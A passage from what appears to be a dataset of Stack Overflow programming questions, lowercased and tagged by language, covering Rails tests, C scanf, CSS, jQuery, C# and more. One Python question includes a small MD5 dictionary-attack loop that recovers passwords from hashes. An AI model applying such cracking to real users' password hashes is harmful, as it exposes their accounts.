&lt;class:sitelayouttest&gt;  </code></pre>   this is the header partial that contains the links for users_path and logout_path:-   <pre><code>&lt;header class= navbar navbar-fixed-top navbar-inverse &gt;   &lt;div class= container &gt;     &lt;%= link_to  sample app   root_path  id:  logo  %&gt;     &lt;nav&gt;       &lt;ul class= nav navbar-nav navbar-right &gt;         &lt;li&gt;&lt;%= link_to  home     root_path %&gt;&lt;/li&gt;         &lt;% if logged_in  %&gt;           &lt;li&gt;&lt;%= link_to  users   users_path %&gt;&lt;/li&gt;           &lt;li class= dropdown &gt;             &lt;a href= #  class= dropdown-toggle  data-toggle= dropdown &gt;               account &lt;b class= caret &gt;&lt;/b&gt;             &lt;/a&gt;             &lt;ul class= dropdown-menu &gt;               &lt;li&gt;&lt;%= link_to  profile   current_user %&gt;&lt;/li&gt;               &lt;li&gt;&lt;%= link_to  settings   edit_user_path(current_user) %&gt;&lt;/li&gt;               &lt;li class= divider &gt;&lt;/li&gt;               &lt;li&gt;                 &lt;%= link_to  log out   logout_path  method: :delete %&gt;               &lt;/li&gt;             &lt;/ul&gt;           &lt;/li&gt;         &lt;% else %&gt;           &lt;li&gt;&lt;%= link_to  log in   login_path %&gt;&lt;/li&gt;         &lt;% end %&gt;         &lt;li&gt;&lt;%= link_to  blog     blog_path %&gt;&lt;/li&gt;       &lt;/ul&gt;     &lt;/nav&gt;   &lt;/div&gt; &lt;/header&gt; </code></pre>   but as you can see in this <a href= https://i.stack.imgur.com/s1xnk.png  rel= nofollow noreferrer >screenshot</a>  the users and logout button do exist and they do work as intended.    i m trying to figure out why the test fails even though the actual function in the application works. help would be appreciated.    <strong>update:-</strong>    the definitions for the <code>is_logged_in </code> and <code>log_in_as method</code>:-   <pre><code>env[ rails_env ] ||=  test  require file.expand_path( ../../config/environment   __file__) require  rails/test_help  require  minitest/reporters  minitest::reporters.use!  class activesupport::testcase   # setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.   fixtures :all    # returns true if a test user is logged in.   def is_logged_in      !session[:user_id].nil    end    # log in as a particular user.   def log_in_as(user)     session[:user_id] = user.id   end end  class actiondispatch::integrationtest    # log in as a particular user.   def log_in_as(user  password:  password   remember_me:  1 )     post login_path  params: { session: { email: user.email                                            password: password                                            remember_me: remember_me }}   end end </code></pre>   the definition for <code>logged_in </code> :-   <pre><code>module sessionshelper    # logs in the given user.   def log_in(user)     session[:user_id] = user.id   end    def remember(user)     user.remember     cookies.permanent.signed[:user_id] = user.id     cookies.permanent[:remember_token] = user.remember_token   end    def current_user (user)     user == current_user   end    # returns the user corresponding to the remember token cookie.   def current_user     if (user_id = session[:user_id])       @current_user ||= user.find_by(id: user_id)     elsif (user_id = cookies.signed[:user_id])       user = user.find_by(id: user_id)       if user &amp;&amp; user.authenticated (cookies[:remember_token])         log_in user         @current_user = user       end     end   end    def logged_in      !current_user.nil    end </code></pre>,ruby-on-rails
exit while loop with user prompt in python  i ve been browsing a long time searching an answer to this.    i m using python 2.7 in unix.    i have a continuous while loop and i need an option where user could interrupt it  do something and after that the loop would continue.    like:   <pre><code>while 2 &gt; 1:      for items in hello:          if  world  in items:              print  hello           else:              print  world         time.sleep(5)       here user could interrupt the loop with pressing  u  etc. and modify elements inside he loop.  </code></pre>   i started testing out with raw_input  but since it prompts me out every cycle  it s something that i don t need.    i tried methods mentioned here:    <a href= https://stackoverflow.com/questions/1335507/keyboard-input-with-timeout-in-python >keyboard input with timeout in python</a>    couple of times  but none of those seem to work how i wish.,python
how to send sms from ipod   hi i want to send sms from ipod and also i will check whether it is being recieved by receiver (user) or not       is this possible      thanks in advance....,iphone
how to create custom php.ini to access curl_exec  i found error on my site    warning: curl_exec() has been disabled for security reasons in /home/fullfree/public_html/12host/my/new/login.php on line 207    i was trying to find solution on internet than i was found the real problem all people say change ypur php.ini file but my hosting provider not give me php.ini file please tell me how to create custom php.ini to access curl_exec thanks,php
#link easing  how is this called  and is there a plugin to animate this with jquery   i m not sure how this links are called something.com/#link i would like to animate this browser action. but since i don t know how they are called cannot find correct jquery plugin or wiki.    ty,jquery
scanf not working correclty in this c program  i have wrote a small code to get value from fahrenheit to celsius. i wanted to keep inputting data until i press any other key than  y . but this loop doesn t work that way and stops after one iteration.   <pre><code>#include &lt;stdio.h&gt;  int main() { char ch= y ; int far  cen; do {     printf( again\n );     scanf( %d  &amp;far);     //cen = (5.0/9.0)*(far-32);//integer division will truncate to zero so we can make 5/9 to 5.0 / 9.0     cen = (5*(far-32))/9;//or this way we can use this formula     printf( \n%d\t%d  far  cen);     printf( ch=%c  ch);     scanf( %c  &amp;ch);     }while(ch ==  y );  return 0; } </code></pre>   what is the problem here  p.s i added a line and made a new code like this    <pre><code>#include &lt;stdio.h&gt;  int main() { char ch= y ; int far  cen; do {     printf( again\n );     scanf( %d  &amp;far);//here we press carriage return. this value is in stdin     //cen = (5.0/9.0)*(far-32);//integer division will truncate to zero so we can make 5/9 to 5.0 / 9.0     cen = (5*(far-32))/9;//or this way we can use this formula     printf( \n%d\t%d  far  cen);     scanf( %c  &amp;ch);//putting a space before %c makes the newline to be consumed and now it will work well     if((ch ==  \r )|| (ch ==  \n ))         printf( 1\n );     printf( ch=%c  ch);//this takes the carriage return in stdin buffer     }while(ch ==  y );  return 0; } </code></pre>   i need to know carriage return here is \r or \n,c
how to insert uilabel in uitext   can we insert uilabel in uitext in i phone app  is it possible  if yes how     thanks in advance!,iphone
what is the difference between singleton and common object init by alloc method   i am testing uitableview : (under arc) code as below    <pre><code>- (void)viewdidload {     [super viewdidload];     unittest *unittest = [[unittest alloc] init];      uitableview *tableview = [[uitableview alloc] initwithframe:self.view.bounds style:uitableviewstyleplain];     tableview.delegate = unittest;     tableview.datasource = unittest;      [self.view addsubview:tableview];  } </code></pre>   i have implement tableview delegate in object unittest. when i run my project  it fetch a error:   <pre><code>libobjc.a.dylib`objc_msgsend: 0x30f13f68:  teq.w  r0  #0 0x30f13f6c:  beq    0x30f13faa               ; objc_msgsend + 66 0x30f13f6e:  push.w {r3  r4} 0x30f13f72:  ldr    r4  [r0]                // thread 1: bad_exe_access .... 0x30f13f74:  lsr.w  r9  r1  #2 0x30f13f78:  ldr    r3  [r4  #8] 0x30f13f7a:  add.w  r3  r3  #8 0x30f13f7e:  ldr    r12  [r3  #-8] </code></pre>   and there is nothing in console.    when i change the line    <pre><code>unittest *unittest = [[unittest alloc] init]; </code></pre>   to   <pre><code>unittest *unittest = [unittest sharedunittest]; // i have implement this singleton </code></pre>   everything works ok!!     why,ios
finding the best person in an array  i have an array called names[5] and one called scores[5][5]. each row corresponds with the name in the respective index.    i need to find the highest score in the scores array and return the name that corresponds with it.    this is what i have so far:   <pre><code>int high = 0; for(a=0; a&lt;5; a++)     for(b=0; b&lt;5; b++)         if(high&lt;scores[a][b]) </code></pre>,java
why is mysql saying there is a syntax error   i m pretty new to the world of outer joins  and i m trying to get used to them  but i have no idea why mysql is saying the syntax is incorrect. does anyone care to give some insight    <pre><code>select * from user_courses  course_updates           where user_courses.crn = course_updates.crn and user_courses.user_id = 1          left join followers on (followers.followee = course_updates.user_id) </code></pre>,mysql
width and height percentage won t have affect unless the element is occupied  i am having trouble understanding why when i am using percentages  i have no appearance on my screen  but when i use pixels i do.    this is my code:   <pre><code>&lt;body&gt;     &lt;div class= container-content &gt;&lt;/div&gt;    &lt;/body&gt;  body{     width: 100%;     height: 100%; }  .container-content{     width: 50%;     height: 50%;     margin: 0 auto 0 auto;     background-color: green; } </code></pre>   if i occupy my div with some content it will not have the affect i want. if i change the position to absolute or fixed it will have the affect i want (just a box). if i only change instead of percentages to pixels it will also have the affect i want (just a box).    what am i getting wrong here     thanks,css
save an xml file  i wonder how i can learn to get the location where a particular xml is created and save as follows    <pre><code>  $document = new domdocument( 1.0    utf-8 );     ....//write things to it     echo $document-&gt;savexml(); </code></pre>   how do i know where it is saved   as stream or as a binary file   anywhere on teh hd i can get or view it                                                                                                      i don t know why the red message below says that my post doesn t meet our quality standard. my post is short but understandable.,php
how to bind gridview using jquery after upload of the data using the fileupload control  recently i was working on a requirement as mentioned below:   <ol> <li>there is a webform containing fileupload control and below it there is a gridiview control.</li> <li>when user clicks the browse button of the fileupload control and picks an image to upload the image should now be available in the gridview using jquery. </li> <li>the binding of the gridview with the image source from fileupload control should be done using jquery.</li> </ol>   can anyone help me out with any code sample.    thanks in advance     thanks &amp; regards  santosh,asp.net
can t read text file from desktop using objective-c  <strong>can anyone help me to find what s wrong with my code while reading file from desktop</strong>   <pre><code>    nsstring *filename=@ ~/users/user12345/desktop/sample/data.txt ;     nsstring *filestring=[nsstring stringwithcontentsoffile:filename encoding:nsutf8stringencoding error:nil];      nsarray *namesarray=[filestring componentsseparatedbystring:@ \n ];      for(nsstring *names in namesarray)     {         nslog(@ names:%@  names);     } </code></pre>,objective-c
how to split string by specific pattern   i have a string    <pre><code>string value = [xasx1xx]data1[/xasx1xx][xx22x]data2[/xx22x][1x22aaaaax]data3[/1x22aaaaax] ; </code></pre>   i would like to split string between keywords <code> [xxxxx] </code> and <code> [xxxxx] </code> which the <code>[xxxxx]</code> is random created. so that i have output like   <ul> <li>data1</li> <li>data2</li> <li>data3</li> </ul>   any help would be much appreciated.,c#
iphone settings accessing  it is possible to change iphone settings from an application  i want to change settings like enable/disable wifi  enable/disable vibrations  change ring tone  enable/disable bluetooth  call forwarding  mail accounts  etc. i want to be able to change all settings programmatically. i would appreciate some sample code.,iphone
want to strip a particular character  guys currently i m using this:   <pre><code>$meta = htmlspecialchars($m);  </code></pre>   this one is stripping all the html chars..but i want to just remove  &lt;  and  >     how do i do it      thanks,php
going back to the page before by pressing the button in the browser  i have two html pages.    i enter to the first page  press the button and go to the second page. the problem is that when im in the second page (signin.html) and i press the back button from the browser i dont go to the first page (welcome.html) i go to some other previous page. i need to be able to go back by pressing that button  how can i achive that     <strong>html 1 welcome.html</strong>   <pre><code>&lt;html&gt; &lt;head&gt;     &lt;title&gt;         welcome page      &lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;div&gt; &lt;div class= button &gt; &lt;input name= account  type= button  value= i am a service provider  onclick= window.location.replace( /member/sign-in.html ) /&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   <strong>html 2 signin.html</strong>   <pre><code>&lt;html&gt; &lt;head&gt;     &lt;title&gt;     member sign in     &lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;form id= myform  action= /my-code/signinmember.php  method= post &gt; &lt;div&gt;     &lt;label for= spemail &gt;e-mail:&lt;/label&gt;     &lt;input type= email  id= spemail  name= spemail  required/&gt;        &lt;/div&gt; &lt;div&gt;     &lt;label for= sppswd &gt;password:&lt;/label&gt;     &lt;input type= password  id= sppswd  name= sppswd  required/&gt; &lt;/div&gt; &lt;div class= button &gt;     &lt;button type= submit  name= submit &gt;sign in&lt;/button&gt; &lt;/div&gt; &lt;div class= button &gt;     &lt;input name= submit  type= button  value= sign up for free   onclick= window.location.replace( /member/create-account.html ) /&gt; &lt;/div&gt; &lt;div/&gt; &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   any ideas  i was looking around and everybody say to add a button to go back (with php or javascript) but i dont want that. i want to press the browser button and then go back  no with a button in the page itself.    thanks  any help will be appreciated.,html
python md5 hash passwords and dictionary  i m fairly new to python and i m trying to create a simple program that collects md5 hash passwords and then matches them to a dictionary i ve created with common passwords in it.    i can collected the md5 passwords no problem  the problem is when i try to compare them to a dictionary of words i can t get it working at all.    any tips or direction would be appreciated  i m clueless as to what to do next and i ve searched for many days online before resorting to asking for assistance.    my code is as follows    <pre><code>import sys  re  hashlib   def dict_attack(passwd_hash):     print  dict_attack(): cracking hash:   passwd_hash     #set up list of common password words     passwords = open( j:/dictionary.txt )      passwd_found = false       if passwd_found:         print  dict_attack(): password recovered:   (passwd) def main():     print [dict_crack] tests      passwd_hash =  4297f44b13955235245b2497399d7a93      dict_attack(passwd_hash) if __name__ ==  __main__ :     main() </code></pre>   relevant code for further question   <pre><code> hash_to_crack = password   dict_file =  j:/dictionary.txt   with open(dict_file) as fileobj:     for line in fileobj:         line = line.strip()         if hashlib.md5(line).hexdigest() == hash_to_crack:             print  successfully cracked the hash %s: it s %s  % (hash_to_crack  line)             return    print  failed to crack the file.  </code></pre>,python
how do you use the font shorthand if your font has a space in it   for instance   <pre><code>@import url( https://fonts.googleapis.com/css family=open+sans );  div {     font:12px black  open sans ; } </code></pre>   isn t accepted by chrome  using single quotes or no quotes doesn t help either. how do you use the font without writing an extra line for font-family,css
adding functions to class which have access to instance variables  i have a function that takes some data and organizes it into different containers. this is accomplished by different parsers for different input data.   <pre><code>class parsingobject(object):     def __init__(self):         self.organized_data_1 = organizedcontainer1()         self.organized_data_2 = organizedcontainer2()         self.organized_data_3 = organizedcontainer3()      def parse_data(format  data):         if format ==  format1 :             # some code that takes data  and populate containers             self.organized_data_1 = x             self.organized_data_2 = y             self.organized_data_3 = z         if format ==  format2 :             # some code that takes data  and populate containers differently             self.organized_data_1 = y             self.organized_data_2 = z             self.organized_data_3 = x </code></pre>   i would like to store all the parsers in a separate file and then import them into the parse_data function.    the function needs to have access to the instance variables (organized_data_1-3) in order to populate them.                <pre><code>class parsingobject(object):     def __init__(self):         self.organized_data_1 = organizedcontainer1()         self.organized_data_2 = organizedcontainer2()         self.organized_data_3 = organizedcontainer3()      def parse_data(format  data):         import .parsers         if format ==  format1 : parsers.parser1(data)         if format ==  format2 : parsers.parser2(data) </code></pre>   and the parsers something like   <pre><code>def parser1(data):     self.organized_data_1 = x     self.organized_data_2 = y     self.organized_data_3 = z </code></pre>   i m looking to put the parsers in another function to make adding additional parsers more convenient and to prevent clutter in main object. should i just pass the object through to the parser    <pre><code>def parser1(self data):     self.organized_data_1 = x     self.organized_data_2 = y     self.organized_data_3 = z </code></pre>   or is there another way  if i set it up like this  i end up with circular module imports.,python
argument 1 string to system.windows.forms.iwin32window  i m newbie in visual studio.<br> i was getting an error about this code.   <pre><code>private void metrolink1_click(object sender  eventargs e) {     if (metrotextbox1.text== admin  || metrotextbox2.text== 123 )     {         form2 settingsform = new form2();          settingsform.show();     }      else     {         metromessagebox.show( invaild username or password    error! );     } } </code></pre>   the error message coming from the <code>metromessagebox.show( invaild username or password    error );</code>,c#
c# download file - badresponse: invalid or unexpected token  i am calling this direct method but i receive this error when i try to download the file (path is ok and tested):   <pre><code>[directmethod]     public void downloadfile(string fname  string ftype)     {         httpcontext.current.response.contenttype =  application/octet-stream ;         string header =  attachment; filename=  + fname;         httpcontext.current.response.appendheader( content-disposition   header);         system.io.fileinfo dfile = new system.io.fileinfo(httpcontext.current.server.mappath( copyfiles\\  + ftype +  \\ + fname));         httpcontext.current.response.writefile(dfile.fullname);         httpcontext.current.response.end();     } </code></pre>  <blockquote>    badresponse: invalid or unexpected token  </blockquote>,c#
screen dimming/locking prevention android  i am using this code to prevent dimming/locking screen  it is perfectly working for prevention of locking  but dimming effect is not prevented yet. please tell me some way out to prevent dimming also   <pre><code>protected void setscreenlock(boolean on){     if(mwakelock == null){         powermanager pm = (powermanager) getsystemservice(context.power_service);         mwakelock = pm.newwakelock(powermanager.screen_dim_wake_lock |                                     powermanager.on_after_release  tag);     }     if(on){      mwakelock.acquire();     }else{         if(mwakelock.isheld()){             mwakelock.release();         }      mwakelock = null;     }  } </code></pre>,android
angular default select option  i am having a problem getting my select to properly set the default option for my data. i am fetching data from a server through an ajax call. i then want to be able to edit this data using a form. i want to point the select to use options set in a controller object but when you edit the select i want the model to point to the ajax data because that is what i write back to the server. as you can see in my plunkr each of the four items should have their select options filled in but instead all of the selects start empty.    in the official documentation for angular they say to do the following to set the default:   <pre><code>angular.module( defaultvalueselect   [])   .controller( examplecontroller   [ $scope   function($scope) {   $scope.data = {   availableoptions: [     {id:  1   name:  option a }      {id:  2   name:  option b }      {id:  3   name:  option c }   ]    selectedoption: {id:  3   name:  option c } //this sets the default value of the select in the ui   }; }]);  //then in the html file: &lt;select name= myselect  id= myselect    ng-options= option.name for option in data.availableoptions track by option.id    ng-model= data.selectedoption &gt;&lt;/select&gt; </code></pre>   in my case the options aren t in the ajax data however  only the currently selected option. so i want to manage available options via a controller object but bind the select to the ajax data. thanks.    <a href= https://plnkr.co/edit/q16qlt p=preview  rel= nofollow >https://plnkr.co/edit/q16qlt p=preview</a>,angularjs
get line number which tag contains text in xml file  can you please tell me how to get line number using xdocument or xmldocument     in xdocument     input:   <pre><code>1. &lt;title-group&gt; 2. &lt;article-title&gt;education finance: how it differs from the and the  analytic and data collection    changes it implies&lt;/article-title&gt; 4. &lt;/title-group&gt; 5. &lt;contrib-group&gt; 6. &lt;contrib contrib-type= author &gt;&lt;name&gt;&lt;surname&gt;guthrie&lt;/surname&gt;&lt;given-names&gt;james w.&lt;/given-names&gt;&lt;/name&gt;&lt;aff&gt;department of leadership  policy and organization  peabody college of vanderbil university  230 appleton place  @ nashville  tn 37203-5721  e-mail: &lt;email xlink= jwgxiii@sbcglobal.net &gt;jwgxiii@sbcglobal.net&lt;/email&gt;&lt;/aff&gt; 7. testest&lt;/contrib&gt; 8. &lt;/contrib-group&gt; </code></pre>   my output will look like:   <pre><code>2. &lt;article-title&gt;education finance: how it differs from the and the analytic and data collection    changes it implies&lt;/article-title&gt; 6. &lt;contrib contrib-type= author &gt;&lt;name&gt;&lt;surname&gt;guthrie&lt;/surname&gt;&lt;given-names&gt;james w.&lt;/given-names&gt;&lt;/name&gt;&lt;aff&gt;department of leadership  policy and organization  peabody college of vanderbil university  230 appleton place  @ nashville  tn 37203-5721  e-mail: &lt;email xlink= jwgxiii@sbcglobal.net &gt;jwgxiii@sbcglobal.net&lt;/email&gt;&lt;/aff&gt; 7. testest&lt;/contrib&gt; </code></pre>,c#
rails join query error  i m struggling to make a query that shows the friends of user that have activities in a city. the variable @friends has the friends of the user  and i want to make a join with activities and and places because i want to filter the results by city. a account(user) has many activities and also has many places though activities. i m having the following error:   <pre><code>sqlite3::sqlexception: no such column: accounts.city:     def show         @friends = account.find(current_account.id).active_friends         @nearbyfriends = @friends.joins(:activities :places).where(:city =&gt; @place.city).group(:account_id)       end </code></pre>,ruby-on-rails
how can i initialize an array of an object if the contructor is initialize    c++  i have a class that looks as follow:    <pre><code>#include &lt;string&gt; using std::string;  class cob { private:     string var1;     int    var2;     int    var3;  public:     cob(string v1  int v2  int v3); };  cob::cob(string v1  int v2  int v3) {     var1 = v1;     var2 = v2;     var3 = v3; }  int main() {     string x =  somethin ;     int y = 0  z = 10;     cob object1(x y z); } </code></pre>   but if i try to create an array of objects of this class as:    <pre><code>cob aobjects[10](    0  0 ); </code></pre>   the compiler complains and give me this error:    <pre class= lang-none prettyprint-override ><code>error: bad array initializer </code></pre>   how can i create a default value so i don t have to initialize every object or how do i initialize this array in the correct way,c++
how to multiply textbox with gridview columns  i have write this code to create a gridview with 3 columns   <pre><code>datatable dt = new datatable(); dt = new datatable(); dt.columns.add( id   typeof(int)).autoincrement = true; dt.columns.add( name   typeof(string)); dt.columns.add( price(grouch)/hectares   typeof(float)); datacolumn[] keys = new datacolumn[2]; keys[0] = dt.columns[ id ]; dt.primarykey = keys; dt.rows.add( 1    seaside location   1.5);  session[key] = dt; return dt; </code></pre>   i would like to add in this code a textbox with the quantity.    when i give the quantity i want in another textbox to have the total.    for example 2*1.5=3    how can i do that     my huge problem is that i dont know how to take the values of the 3rd column.the value 1.5 in this example.,asp.net
the modifier public is not valid for this item  i am getting error   <blockquote>    the modifier public is not valid for this item  </blockquote>   this my code  please help me.   <pre><code>    using system;     using system.configuration;     using system.data;     using system.linq;     using system.web;     using system.web.security;     using system.web.ui;     using system.web.ui.htmlcontrols;     using system.web.ui.webcontrols;     using system.web.ui.webcontrols.webparts;     using system.xml.linq;     public partial class first : system.web.ui.page test      {         protected void page_load(object sender  eventargs e)         {             label1.text = test1( hi   1).tostring();         }      }     public class base     {         public int test1(int x)         {             return x;         }         public string test1(string x)         {             return x;         }         public string test1(string x  int y)         {             return x + y;         }     }     public interface test     {         public int test1(int x);         public string test1(string x);         public string test1(string x  int y);     } </code></pre>   thanks  pradeep,c#
python client server dilemma  i m trying to implement a project  where the python code will be written on web-browser and then executed in a remote server.  the arch is javascript --> java --> python    the python code will be sent to java using web sockets  which is connected to a python server using a tcp/ip socket. the script needs to be read line by line from the socket using readline and executed. it would be great if someone can tell me how to run python commands within a python script. is there a better way to do it  like for example  save it as a file and run the the entire script and send the output back to java      for example  i want to execute the following from the socket as i read it using readline...    <pre><code>import pylab as pl  import numpy as np y = randn(100) pl.plot(y) pl.savefig( foo.png   bbox_inches= tight) </code></pre>   i have written the tcp/ip socket which gets the data from the java client    any help here would be appreciated.,python
plain old c: accessing member of a function returning struct  please could you help me with a question of  legitimacy .    assuming that foo() is a function returning a structure  is it officially acceptable to assign a member of the structure directly to a variable  for example    <code>x = foo().member</code>    both the gnu-c complier and an embedded c compiler (keil) accept this without any grumbles but is this actually legitimate according to the official c standard or is it just a relaxed attitude of these particular compilers  if it s legit  has it always been legit or is it a recent development     here s an example that compiles and runs ok:   <pre><code>typedef struct {     int a;     int b; } footype;  footype testfoo(void) {     footype n;      n.a = 1;     n.b = 2;     return n; }  int main() {     printf( \ntest = %d\n   testfoo().a);     return 0; } </code></pre>,c
css immediate child selector <pre><code>#main .container &gt; div:not(.sites):not(.default) {      display: none; } </code></pre>   the <code>&lt;h1&gt;</code> tag is visible while the below <code>yui-ge</code> div tag is hidden.  if > only applies to immediate children how come my <code>yui-ge</code> is having the above css applied to it (both in chrome and firefox).   <pre><code>&lt;div class= container &gt;     &lt;div class= default selected &gt;        &lt;h1&gt;page title&lt;/h1&gt;        &lt;div class= yui-ge &gt; //for some reason  this tag remains hidden cause of the above css           //more div tags        &lt;/div&gt;     &lt;/div&gt;     //more html here &lt;/div&gt; </code></pre>   <strong>update</strong>    look here: --link removed--    click the  woot  tab.... no results are shown on the default woot tab - they remain hidden.,css
how to control the sql limit  i would like to know how to print 100 records then an image and then another 100 records.     i am trying to use the following code in order to control the sql limit  but would like to know how to do the above in the proper way.    <strong>total number of records are x numbers</strong>   <pre><code>$check_starts=0; $check_ends=100;  $sql = mysql_query( select * from names limit $check_starts $check_ends ) or die(mysql_error()); </code></pre>   i would like to know how to print 100 records in in every interval.    then i need a break after every 100 records.    thanks for your help.,php
call function for each controller  i have couple of pages and couple of controllers. and i want to call function for each of those page. how can i do it in angular without copy-pasted all those code in each controller,angularjs
how can i center an image   i m building a website and at the top of the website i have a  that has a background-image. the background-image takes up the whole div but i don t want it to. i want the image to keep it s original dimensions and center itself horizontally. how would i do this,css
dt_reg undeclared (first use in this function) and -std=c99  i m writing a c program using eclipse cdt.  i want to init my for loops like this ...   <pre><code>for( int i = 0; i &lt; 5; i++ ) </code></pre>   so i added -std=c99 to the gcc command line.  this has the side effect of throwing the error: ‘dt_reg’ undeclared (first use in this function) for the line:   <pre><code>if( dir_ent-&gt;d_type != dt_reg ) </code></pre>   dt_reg is defined in dirent.h (which is included).  the code compiles fine without -std=c99 on the gcc command line.  what am i missing,c
handling events of html elements inserted by jquery  i currently have an anchor tag that  when clicked  appends another anchor tag to the dom.  this is all done via jquery. i know what the  id  attribute of the anchor tag to be added will be.  however  when i try the following code  it fails to handle the newly added anchor tag s click event:    $( #id ).click(function() {     alert( test ); });,jquery
"dropdown list taking duplicate value  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;label&gt;service offering&lt;/label&gt;&lt;/br&gt;
               &lt;select  style= color:black  id= first_choice  required name= first_pref &gt;
               &lt;option value=   disabled selected hidden&gt;first preference&lt;/option&gt;
                     &lt;option value= engineering and design &gt;engineering and design&lt;/option&gt;
               &lt;option value= operations and design &gt;operations and design&lt;/option&gt;
               &lt;option value= product management &gt;product management&lt;/option&gt;
               &lt;option value= developer relations and technical solutions &gt;developer relations and technical solutions&lt;/option&gt;
               &lt;option value= sales and account management &gt;sales and account management&lt;/option&gt;
               &lt;option value= partnerships &gt;partnerships&lt;/option&gt;
               &lt;option value= sales and operations &gt;sales and operations&lt;/option&gt;
                  &lt;option value= administrative services &gt;administrative services&lt;/option&gt;
                   &lt;option value= business strategy planning &gt;business strategy planning&lt;/option&gt;
               &lt;option value= finance solutions &gt;finance solutions&lt;/option&gt;
               &lt;option value= legal and government relations &gt;legal and government relations&lt;/option&gt;
               &lt;option value= marketing and communications &gt;marketing and communications&lt;/option&gt;
               &lt;option value= real estate and workplace services &gt;real estate and workplace services&lt;/option&gt;
               &lt;option value= social impact solutions &gt;social impact solutions&lt;/option&gt;
               &lt;option value= consultancy services &gt;consultancy services&lt;/option&gt;
               &lt;option value= investors and funding &gt;investors and funding&lt;/option&gt;
             &lt;/select&gt;&lt;/br&gt;&lt;/br&gt;
         &lt;!--second preference--&gt;
         &lt;select  style= color:black  id= second_choice  required name= second_pref &gt;
              
                &lt;option value=   disabled selected hidden&gt;second preference&lt;/option&gt;
               &lt;option value= engineering and design &gt;engineering and design&lt;/option&gt;
               &lt;option value= operations and design &gt;operations and design&lt;/option&gt;
               &lt;option value= product management &gt;product management&lt;/option&gt;
               &lt;option value= developer relations and technical solutions &gt;developer relations and technical solutions&lt;/option&gt;
               &lt;option value= sales and account management &gt;sales and account management&lt;/option&gt;
               &lt;option value= partnerships &gt;partnerships&lt;/option&gt;
               &lt;option value= sales and operations &gt;sales and operations&lt;/option&gt;
                  &lt;option value= administrative services &gt;administrative services&lt;/option&gt;
                   &lt;option value= business strategy planning &gt;business strategy planning&lt;/option&gt;
               &lt;option value= finance solutions &gt;finance solutions&lt;/option&gt;
               &lt;option value= legal and government relations &gt;legal and government relations&lt;/option&gt;
               &lt;option value= marketing and communications &gt;marketing and communications&lt;/option&gt;
               &lt;option value= real estate and workplace services &gt;real estate and workplace services&lt;/option&gt;
               &lt;option value= social impact solutions &gt;social impact solutions&lt;/option&gt;
               &lt;option value= consultancy services &gt;consultancy services&lt;/option&gt;
               &lt;option value= investors and funding &gt;investors and funding&lt;/option&gt;
             &lt;/select&gt;&lt;/br&gt;&lt;/br&gt;
    &lt;!--3rd preference--&gt;
         &lt;select style= color:black  id= third_choice  required name= third_pref &gt;
               &lt;option value=   disabled selected hidden&gt;third preference&lt;/option&gt;
               &lt;option value= engineering and design &gt;engineering and design&lt;/option&gt;
               &lt;option value= operations and design &gt;operations and design&lt;/option&gt;
               &lt;option value= product management &gt;product management&lt;/option&gt;
               &lt;option value= developer relations and technical solutions &gt;developer relations and technical solutions&lt;/option&gt;
               &lt;option value= sales and account management &gt;sales and account management&lt;/option&gt;
               &lt;option value= partnerships &gt;partnerships&lt;/option&gt;
               &lt;option value= sales and operations &gt;sales and operations&lt;/option&gt;
                  &lt;option value= administrative services &gt;administrative services&lt;/option&gt;
                   &lt;option value= business strategy planning &gt;business strategy planning&lt;/option&gt;
               &lt;option value= finance solutions &gt;finance solutions&lt;/option&gt;
               &lt;option value= legal and government relations &gt;legal and government relations&lt;/option&gt;
               &lt;option value= marketing and communications &gt;marketing and communications&lt;/option&gt;
               &lt;option value= real estate and workplace services &gt;real estate and workplace services&lt;/option&gt;
               &lt;option value= social impact solutions &gt;social impact solutions&lt;/option&gt;
               &lt;option value= consultancy services &gt;consultancy services&lt;/option&gt;
               &lt;option value= investors and funding &gt;investors and funding&lt;/option&gt;
             &lt;/select&gt;</code></pre>
 </div>
 </div>
     i have three drop down lists all containing same data but different names.i want all the three lists to be selected with unique values.that means if 1 is selected in 1st list then 1 becomes unavailable for the rest two lists.how to implement this in a simple html form.",html
deploying/running apps that have strongly named assemblies  in our development environment we use 1 snk file that is used on assemblies signed with vs signing tab on a project.  we also run <code>sn -vr *  somekey</code>.  however when i tried to run an exe that use these assemblies i get    <blockquote>    exception details: system.io.fileloadexception: could not load file or assembly  ajaxcontroltoolkit  or one of its dependencies. strong name signature could not be verified.  the assembly may have been tampered with  or it was delay signed but not fully signed with the correct private key. (exception from hresult: 0x80131045)  </blockquote>   do i have to register them all in gac with sn utility     by the way we also check delay sign only checkbox.,.net
setting uimageview and uilabel based on user  i have a registration for a user in my app. when the user registers they are redirected to a home viewcontoller. i am just wondering how i can set the uiimageview and a label on the home viewcontroller to the data that the user used when registering. i also am wondering how i can also achieve this when the user logs into the app. any suggestions would be great:),ios
calling system commands from rails - general design pattern  rails newbie here  building a rails api backend application.     here is the broad application flow    there is a single model <code>palindrome</code> which has a field <code>name</code> of string kind    in the simplest user interaction user client sends <code>post</code> with string <code>name</code> to palindromecontroller.    this string need to be passed to a system application <code>systemapp</code> and the app would return another string. this would need to be parsed as a json string and returned to the client.    questions on how to go about the following.   <ol> <li>where should i call the <code>systemapp</code> from - from model or controller   </li> <li>should the call to <code>systemapp</code> be wrapped in a background job  </li> </ol>,ruby-on-rails
how to get string between start and end character in c#  how to get substring of string like file_{aaa}_{bbb}.xml      my code:   <pre><code>string[] result = regex.split(str   {(.*)} ); result.tolist().foreach(x =&gt; messagebox.show(x)); </code></pre>   result :    <pre><code>aaa bbb </code></pre>,c#
find a byte offset in a .net assembly  i m trying to debug an error that the client has reported to us. the stacktrace only has byte offsets  not line numbers.    e.g.   <blockquote>    [nullreferenceexception: object reference not set to an instance of an object.]<br>      foo.bar(foofoo p) +32<br>      foo.barbar() +191<br>      foo.barbarbar() +15    </blockquote>   how can i reverse engineer these byte offsets into lines of code / method calls etc     how can i find where the nullreferenceexception is being thrown,.net
